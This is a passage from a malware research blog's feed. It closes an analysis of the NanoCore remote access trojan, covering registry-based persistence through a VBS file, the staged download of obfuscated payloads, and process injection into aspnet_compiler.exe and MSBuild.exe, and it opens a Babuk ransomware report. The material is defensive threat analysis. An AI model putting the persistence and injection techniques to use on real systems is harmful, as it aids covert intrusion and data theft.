pointing to <em>\Public\Run\New.vbs</em> and you will get the desired execution at each session startup.</p><p>Persistence Using Regkey pointing to vbs:</p><pre class="line-numbers language-none"><code class="language-none">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell FoldersHKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://user-images.githubusercontent.com/91592110/139473111-03257fef-3043-4948-8eca-85cc15a29f0c.png" alt="image"></p><p>For a better understanding, a scheme of the deofuscation would be the previous one, in which we observe in cascade, in a summarized way, how the deofuscation has been done, after this, the connection to the IP releases another file that as we can see, alerts us of a PE signature with the typical <em>0x4D5A</em></p><p>As we have seen in the previous image, we take out the binary and, as expected, we get the NanoCore client, as usual, with an obfuscator on top.</p><p><img src="https://user-images.githubusercontent.com/91592110/139473921-6e9e5944-f900-4158-bf8a-38a4f5710eb9.png" alt="image"></p><h1 id="Dynamic-Analysis-Monitoring-execution"><a href="#Dynamic-Analysis-Monitoring-execution" class="headerlink" title="_Dynamic Analysis: Monitoring execution"></a>_Dynamic Analysis: Monitoring execution</h1><p>After the static section, we can know how it is going to behave and we have clear where to put the focus, so we observe how the powershell is going to be executed, in which, we see how it makes the request to the first web and if we did not have the file physically, we would have to extract it manually from this request. </p><p>An important aspect is the use of aspnet_compiler.exe, since it is usual in this type of RAT to inject the code (or perform process hollowing) of the final binary in a legitimate software, we will see that it stays started after the execution of the loader, the reason is simple, the RAT has already started and is doing its task which, at first glance you can not see anything abnormal. We can also see injected MSBuild.exe.</p><p><img src="https://user-images.githubusercontent.com/91592110/139474281-fc36362d-8231-437a-9472-72653033ed13.png" alt="image"></p><p>After running the powershell, we can see the same request 2 times to obtain the succession of obfuscated scripts, in which at the end, we obtain the RAT</p><p><img src="https://user-images.githubusercontent.com/91592110/139474330-46e85380-c300-4e40-a1f1-393bd8d9645b.png" alt="image"></p><p><img src="https://user-images.githubusercontent.com/91592110/139474364-c60ddb80-fa11-48af-8fac-f436a2a17239.png" alt="image"></p><p>After this, we see how it has introduced the file in <em>\public\run</em> so it has generated the persistence in the registry key that we had mentioned in the previous section.</p><p><img src="https://user-images.githubusercontent.com/91592110/139474555-9a495ae9-6740-40a9-929e-16b649f667fd.png" alt="image"></p><p>Then, we will see, as usual in this Malware, it collects certain information obfuscating it and introducing it in some path of \AppData\ or \Public\ with extensions .dat, usual directories of use in this type of actions to avoid as far as possible that it is not found.</p><p><img src="https://user-images.githubusercontent.com/91592110/139474569-668aac42-5e51-412f-895d-4bb6d38e3cab.png" alt="image"></p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;&lt;em&gt;NanoCore is a RAT (Remote Admin Tool) used by cybercriminal groups such as APT33 (Refined Kitten) whose InitialAccess is varied, although it has been most commonly used through fake emails with .zipx extensions or with fake formats, which is commonly called phishing (T1566) or in this case, since it contains a file in the email and its objective is execution on disk to go further, it would be more accurate to call it Spearphishing (T1566.001).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The main potential of NanoCore is usually to steal data from the computer and user once it has gained access to the disk, but once it is inside, it could perform any action from the outside, and, of course it depends of version.&lt;/p&gt;
&lt;p&gt;To this analysis, I have divided into two parts, which is usually a common practice in which we observe first statically everything we can get in the shortest possible time and then a dynamic in which we will see how it behaves, although, we will lose information if we do not monitor properly or not debug.&lt;/p&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="RAT" scheme="https://rexorvc0.com/tags/RAT/"/>
    
  </entry>
  
  <entry>
    <title>Babuk | Babyk</title>
    <link href="https://rexorvc0.com/2021/05/09/Babuk/"/>
    <id>https://rexorvc0.com/2021/05/09/Babuk/</id>
    <published>2021-05-09T06:00:00.000Z</published>
    <updated>2025-03-30T20:22:52.542Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Babuk-Babyk-Ransomware"><a href="#Babuk-Babyk-Ransomware" class="headerlink" title="_Babuk | Babyk Ransomware"></a>_Babuk | Babyk Ransomware</h1><p>One of the biggest current threats in terms of cybersecurity and the one that most concerns companies today is the Ransomware attack, its power be on encrypting as much as posible, regarding some exclusions and try to expand into a company to do as much damage as possible and request a ransom based on extortion. Babuk a ransomware with a short lifespan, is the first one in 2021. </p><p>Distinguished by a little perfected behaviour, it has already appeared in some companies, requesting for ransoms, like all the previous Ransomwares.</p><p>An example of this is the attack to Serco and PhoneHouse, in which, after cypher computers, they requested near 100.000$ through Bitcoin, the extorsión tryies to publicy sensitive and privacy content about clients, something that would cause any company to lose customers</p><span id="more"></span><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/d41ae2e5b740264f76f0bfe9bcf05e2c146abd1f/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf" width="100%" height="1200"></iframe></body></html>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Babuk-Babyk-Ransomware&quot;&gt;&lt;a href=&quot;#Babuk-Babyk-Ransomware&quot; class=&quot;headerlink&quot; title=&quot;_Babuk | Babyk Ransomware&quot;&gt;&lt;/a&gt;_Babuk | Babyk Ransomware&lt;/h1&gt;&lt;p&gt;One of the biggest current threats in terms of cybersecurity and the one that most concerns companies today is the Ransomware attack, its power be on encrypting as much as posible, regarding some exclusions and try to expand into a company to do as much damage as possible and request a ransom based on extortion. Babuk a ransomware with a short lifespan, is the first one in 2021. &lt;/p&gt;
&lt;p&gt;Distinguished by a little perfected behaviour, it has already appeared in some companies, requesting for ransoms, like all the previous Ransomwares.&lt;/p&gt;
&lt;p&gt;An example of this is the attack to Serco and PhoneHouse, in which, after cypher computers, they requested near 100.000$ through Bitcoin, the extorsión tryies to publicy sensitive and privacy content about clients, something that would cause any company to lose customers&lt;/p&gt;</summary>
    
    
    
    <category term="Report" scheme="https://rexorvc0.com/categories/Report/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Ransomware" scheme="https://rexorvc0.com/tags/Ransomware/"/>
    
  </entry>
  
</feed>
